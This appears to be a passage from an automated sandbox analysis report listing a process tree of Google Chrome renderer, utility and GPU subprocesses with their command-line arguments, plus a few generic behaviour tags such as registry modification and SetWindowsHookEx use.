C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3688 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4332 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4808 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=4200 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4792 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=3496 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=3096 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=3360 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=2908 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=5172 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=5384 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=5560 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=5564 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=5460 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=5400 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=5592 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --mojo-platform-channel-handle=6040 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --mojo-platform-channel-handle=6228 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --mojo-platform-channel-handle=6416 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --mojo-platform-channel-handle=6076 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --mojo-platform-channel-handle=5808 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --mojo-platform-channel-handle=6228 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --mojo-platform-channel-handle=6008 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --mojo-platform-channel-handle=6152 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --mojo-platform-channel-handle=6664 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --mojo-platform-channel-handle=6824 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --mojo-platform-channel-handle=7100 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --mojo-platform-channel-handle=7048 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --mojo-platform-channel-handle=7312 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --mojo-platform-channel-handle=7648 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --mojo-platform-channel-handle=6884 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --mojo-platform-channel-handle=7504 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --mojo-platform-channel-handle=7044 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --mojo-platform-channel-handle=8000 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --mojo-platform-channel-handle=8048 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --mojo-platform-channel-handle=8080 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --mojo-platform-channel-handle=8264 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --mojo-platform-channel-handle=8400 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --mojo-platform-channel-handle=8528 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --mojo-platform-channel-handle=8692 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --mojo-platform-channel-handle=8824 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --mojo-platform-channel-handle=9036 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --mojo-platform-channel-handle=9200 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --mojo-platform-channel-handle=9336 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --mojo-platform-channel-handle=9584 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --mojo-platform-channel-handle=9708 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --mojo-platform-channel-handle=9896 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=10564 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --mojo-platform-channel-handle=10324 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --mojo-platform-channel-handle=848 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1904 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:83⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --mojo-platform-channel-handle=1564 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --mojo-platform-channel-handle=9064 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --mojo-platform-channel-handle=7596 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --mojo-platform-channel-handle=7488 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=64 --mojo-platform-channel-handle=7776 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --mojo-platform-channel-handle=7816 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --mojo-platform-channel-handle=8148 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --mojo-platform-channel-handle=6892 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --mojo-platform-channel-handle=8300 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=9576 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --mojo-platform-channel-handle=7904 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --mojo-platform-channel-handle=7508 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=9704 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --mojo-platform-channel-handle=7948 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=74 --mojo-platform-channel-handle=7892 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=75 --mojo-platform-channel-handle=7800 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=76 --mojo-platform-channel-handle=3560 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=77 --mojo-platform-channel-handle=7764 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=78 --mojo-platform-channel-handle=9132 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=79 --mojo-platform-channel-handle=5996 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=80 --mojo-platform-channel-handle=7700 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=81 --mojo-platform-channel-handle=5996 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=82 --mojo-platform-channel-handle=7384 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=83 --mojo-platform-channel-handle=7716 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=84 --mojo-platform-channel-handle=9396 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=85 --mojo-platform-channel-handle=7744 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=86 --mojo-platform-channel-handle=8972 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=87 --mojo-platform-channel-handle=9400 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=88 --mojo-platform-channel-handle=9372 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=89 --mojo-platform-channel-handle=9140 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=90 --mojo-platform-channel-handle=9400 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=91 --mojo-platform-channel-handle=6916 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=92 --mojo-platform-channel-handle=2588 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
